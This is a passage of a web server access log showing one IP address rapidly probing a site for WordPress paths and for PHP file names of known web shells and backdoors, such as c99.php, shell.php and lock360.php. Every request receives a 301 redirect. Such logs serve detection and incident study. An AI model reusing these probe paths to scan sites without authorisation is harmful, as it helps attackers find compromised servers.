/wp-content/plugins/seo-by-rank-math/vendor/woocommerce/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:45 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:45 -0400] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/blocks-config/uagb-controls/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:45 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:46 -0400] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:46 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:46 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:46 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:46 -0400] "GET /newlms/assets/frontend/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:47 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:47 -0400] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:47 -0400] "GET /wp-content/themes/blocksy/static/sass/frontend/6-layout/entries/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:47 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:48 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:48 -0400] "GET /wp/wp-content/themes/twentytwenty/template-parts/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:48 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:48 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:49 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:49 -0400] "GET /wp-content/plugins/wordpress-seo/vendor_prefixed/symfony/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:49 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:50 -0400] "GET /.well-known/acme-challenge/action=./ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:50 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:50 -0400] "GET /vendor/symfony/serializer/Mapping/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:50 -0400] "GET /wp-content/themes/blocksy/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:51 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:51 -0400] "GET /assets/admin/plugins/ckeditor/plugins/scayt/dialogs/dialogs/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:51 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:52 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:52 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:53 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:53 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:53 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:53 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:54 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:54 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:54 -0400] "GET /wp-content/plugins/woocommerce/includes/gateways/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:54 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:55 -0400] "GET /wp-content/fonts//wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:56 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:56 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:56 -0400] "GET /wp-content/plugins/insert-headers-and-footers/includes/auto-insert/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:56 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:57 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:57 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:57 -0400] "GET /wp-includesmaps/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:57 -0400] "GET /wp-content/plugins/file-manager-advanced/application/library/codemirror/mode/jsx/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:58 -0400] "GET /templates/ja_purity/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:58 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:58 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:59 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:00 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:00 -0400] "GET /wp-content/plugins/generateblocks/src/components/unit-picker/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:00 -0400] "GET /wp-includesmaps/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:01 -0400] "GET /wp-include.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:01 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:01 -0400] "GET /sos/NewTheme/images/VillagesPictures/Dhodial/Dhodial/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:01 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:02 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:02 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:02 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:02 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/review-card/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:03 -0400] "GET /wp-content/plugins/w3-total-cache/lib/Aws/Aws/Api/Parser/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:03 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:03 -0400] "GET /wp-content/themes/twentytwentyfive/styles/sections/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:04 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:04 -0400] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:05 -0400] "GET /wp-content/themes/astra/inc/modules/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:05 -0400] "GET /wp-mai.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:05 -0400] "GET /wp-taglin.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:05 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:06 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:06 -0400] "GET /wp-includes/js/tinymce/plugins/wpeditimage/wpeditimage/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:06 -0400] "GET /wp-content/plugins/wp-table-builder/inc/core/freemius/assets/img/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:07 -0400] "GET /wp-activat.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:07 -0400] "GET /wp-includes/blocks/embed/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:08 -0400] "GET /wp-content/plugins/revslider/public/assets/js/libs/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:08 -0400] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:09 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:09 -0400] "GET /wp-content/plugins/pro-elements/modules/notes/database/query/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:10 -0400] "GET /wp-content/languages/themes//wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:10 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:10 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:11 -0400] "GET /wp-content/plugins/js_composer/include/params/options/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:11 -0400] "GET /wp-content/plugins/woocommerce/packages/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:11 -0400] "GET /backup/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:12 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:13 -0400] "GET /wp-content/themes/twentytwentythree/parts/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:14 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:14 -0400] "GET /wp-includes/css/dist/block-library/action/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:14 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:15 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:15 -0400] "GET /wp-content/plugins/not/includes/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:16 -0400] "GET /wp-admin/plugins/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:16 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:16 -0400] "GET /wp-includes/js/tinymce/plugins/hr/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:16 -0400] "GET /wordpress/wp-includes/sodium_compat/src/Core32/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:17 -0400] "GET /wp-content/td/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:17 -0400] "GET /about/b/home/iune/www/about/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:17 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:17 -0400] "GET /wp-content/plugins/revslider/admin/assets/images/navigationeditor/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:17 -0400] "GET /classwithtostrin.php/rbzccnn.php/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:18 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:18 -0400] "GET /wp-content/plugins/wpforms-lite/templates/admin/empty-states/payments/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:18 -0400] "GET /wp-includes/js/tinymce/plugins/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:18 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:19 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:19 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:19 -0400] "GET /wp-content/themes/twentytwentytwo/styles/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:20 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:20 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:20 -0400] "GET /wp-content/themes/listdo/inc/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:20 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:21 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:21 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:22 -0400] "GET /http:/gracecommunications.church/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:22 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:22 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:23 -0400] "GET /wp-content/plugins/wp-rocket/inc/admin/ui/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:23 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:23 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:23 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:23 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:24 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:24 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:24 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:24 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:25 -0400] "GET /wp-admin/sr/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:25 -0400] "GET /wp-includes/Text/Diff/Engine/require/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:25 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:26 -0400] "GET /index/sr HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:26 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:26 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:26 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:27 -0400] "GET /wp-content/uploads//wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:27 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:28 -0400] "GET /wp-content/plugins/smartmag-core/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:28 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:29 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:29 -0400] "GET /wp-content/plugins/jetpack/_inc/build/shortcodes/js/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:30 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:30 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:30 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:31 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:31 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:31 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:31 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:32 -0400] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:32 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:32 -0400] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:33 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:33 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:34 -0400] "GET /sec/core/tests/Drupal/FunctionalTests/Hal/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:34 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:34 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:35 -0400] "GET /wp-content/plugins/jet-engine/includes/components/glossaries/assets/css/admin/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:35 -0400] "GET /wp-content/plugins/all-in-one-seo-pack/vendor_prefixed/psr/log/Psr/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:35 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:36 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:36 -0400] "GET /wp-content/plugins/elementor/core/admin/ui/components/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:36 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:36 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:37 -0400] "GET /.well-known HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:37 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:37 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:38 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:38 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:38 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:39 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:39 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:39 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:39 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:40 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:40 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:40 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:41 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:41 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:41 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:42 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:43 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:43 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:43 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:44 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:44 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:44 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:44 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:45 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:45 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:45 -0400] "GET /css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:46 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:47 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:47 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:47 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:48 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:49 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:49 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:50 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:50 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:50 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:51 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:51 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:52 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:52 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:53 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:53 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:54 -0400] "GET /libraries/php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:54 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:54 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:54 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:55 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:55 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:55 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:56 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:56 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:56 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:56 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:57 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:57 -0400] "GET /plugins/custom/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:57 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:57 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:49:58 -0400] "GET /shellv3.php HTTP/1.1" 301 795 